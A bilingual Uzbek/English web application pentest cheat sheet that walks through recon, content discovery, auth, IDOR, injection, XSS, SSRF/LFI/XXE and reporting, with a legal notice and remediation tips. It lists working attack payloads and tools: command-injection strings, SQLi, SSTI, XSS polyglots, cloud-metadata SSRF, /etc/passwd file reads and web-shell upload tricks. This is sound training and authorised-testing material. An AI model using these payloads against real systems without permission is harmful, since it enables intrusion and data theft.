

# Web Application Pentest Cheat Sheet

Muallif: SentryScan · Til: Uzbek/English · Maqsad: faqat ruxsat berilgan (in-scope) tizimlar

[!] Huquqiy eslatma: quyidagi texnikalarni faqat o'zingizga tegishli yoki yozma ruxsat (engagement/scope) berilgan tizimlarda qo'llang. Ruxsatsiz test - jinoyat.

## 0. Metodologiya (PTES / OWASP WSTG)

- Recon (passiv -> aktiv)
- Mapping (endpointlar, texnologiyalar, rollar)
- Vulnerability discovery
- Exploitation (faqat scope ichida, ehtiyotkorlik bilan)
- Post-exploitation & impact
- Reporting (topilma -> risk -> remediation)

## 1. Recon (Ma'lumot yig'ish)

```
# Subdomen
subfinder -d target.com -all -silent | tee subs.txt
amass enum -passive -d target.com

# Tirik hostlar
cat subs.txt | httpx -sc -title -tech-detect -o live.txt

# DNS
dig target.com ANY +noall +answer
dnsx -l subs.txt -a -resp

# Portlar (scope ichida)
naabu -host target.com -top-ports 1000
nmap -sV -sC -p- --min-rate 2000 target.com
```

Passiv manbalar: crt.sh (%target.com), Shodan, Wayback (waybackurls), Google dorks (site:target.com ext:php, inurl:admin).

## 2. Content Discovery

```
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302,401,403 -ac
feroxbuster -u https://target.com -w raft-medium-directories.txt
gau target.com | uro | tee urls.txt # arxiv URL'lar
katana -u https://target.com -jc -d 3 # aktiv crawling
```

Diqqat: .git/, .env, backup.zip, /api/, /swagger.json, /actuator.

## 3. Authentication & Session

Tekshiruv | Nima izlanadi  
Brute-force himoyasi | rate-limit, lockout, CAPTCHA bormi  
Default/zaif parollar | admin:admin, test:test  
Session token | entropiya, HttpOnly, Secure, SameSite

Logout | token serverda bekor bo'ladimi  
 Password reset | token bashorat qilinadimi, host-header poisoning  
 MFA | bypass (skip step, response tampering)  
 JWT | `alg:none`, zaif sekret (hashcat), `kid` injection

```
# JWT sekretini sindirish (faqat test)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
```

## 4. Authorization (IDOR / BAC)

- IDOR: id, uuid, account parametrini boshqa foydalanuvchiniki bilan almashtiring.
- Vertical: oddiy user admin endpointiga kira oladimi (/admin, /api/users).
- Horizontal: A foydalanuvchi B ning ma'lumotini ko'ra oladimi.
- Method/param: GET->PUT, role=user->role=admin, mass-assignment.

Tavsiya: har bir obyekt uchun server tomonida egalik tekshiruvi (ownership check).

## 5. Injection

### SQLi

```
sqlmap -u "https://target.com/item?id=1" --batch --risk=2 --level=3
# Qo'lda: ' OR 1=1-- - | sleep-based: ' AND SLEEP(5)-- -
```

### Command Injection

```
; id | `id` | $(id) | && whoami | %0a id
```

### NoSQL / SSTI / LDAP

```
NoSQL: {"$gt":""} SSTI: {{7*7}} ${7*7} #{7*7}
LDAP: *) (uid=*) (|(uid=*
```

Remediation: parametrlangan so'rovlar, input validatsiya, allow-list.

## 6. XSS

Tur | Sinov  
 Reflected | `<"><script>alert(1)</script>`  
 Stored | izoh/profil maydonlariga payload  
 DOM | `location.hash`, `innerHTML` manbalari  
 Polyglot: jaVaScRipt:~::~//()//() /oNcliCk=alert() )//

Remediation: kontekstga mos output-encoding, CSP, HttpOnly cookie.

## 7. SSRF / File / XXE

```
SSRF: http://169.254.169.254/latest/meta-data/ (cloud metadata)
      url=http://localhost:8080/admin
LFI: ../../../../etc/passwd php://filter/convert.base64-encode/resource=index.php
Upload: shell.php -> shell.php.jpg, Content-Type spoof, magic bytes
XXE: <!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]> &e;
```

## 8. Business Logic

- Narx/miqdorni manfiy yoki nolga o'zgartirish (price=-1, qty=0).
- Kupon/chegirmaning takroran qo'llash (race condition).
- Bosqichlarni o'tkazib yuborish (to'lovsiz checkout).
- Race condition: bir vaqtda ko'p so'rov (Turbo Intruder, ffuf -rate).

## 9. Client-Side & Headers

```
# Xavfsizlik header'lari
curl -sI https://target.com | grep -iE "strict-transport|content-security|x-frame|x-content"
```

Tekshiring: CORS (Access-Control-Allow-Origin: + credentials), clickjacking (X-Frame-Options/CSP frame-ancestors), open redirect (?next=//evil.com).

## 10. Reporting (eng muhim qism)

Har bir topilma uchun:

- Title va Severity (CVSS 3.1)
- Description - nima va nega xavfli
- Steps to Reproduce - aniq, takrorlanadigan
- Impact - biznesga ta'siri
- Remediation - aniq tuzatish
- Evidence - skrinshot, request/response

CVSS kalkulyator: <https://www.first.org/cvss/calculator/3.1>

## Foydali toollar

Burp Suite, nuclei, ffuf, sqlmap, nmap/naabu, httpx, subfinder, amass, katana, gau, ffuf, hashcat, jwt\_tool, Turbo Intruder.

```
# Nuclei - tez g'olib (low-hanging fruit)
nuclei -l live.txt -severity critical,high -o findings.txt
```

## Checklist (tez o'tish)

- [ ] Subdomen + tirik hostlar
- [ ] Content discovery (yashirin panellar, .git/.env)
- [ ] Auth: rate-limit, JWT, reset flow
- [ ] IDOR / BAC har bir obyektida
- [ ] SQLi / CMDi / SSTI
- [ ] XSS (reflected/stored/DOM)
- [ ] SSRF / LFI / upload / XXE
- [ ] Business logic va race condition
- [ ] Headers / CORS / redirect
- [ ] Hisobot + remediation

(c) SentryScan. Ta'lim va ruxsat berilgan test uchun. Noqonuniy foydalanish taqiqlanadi.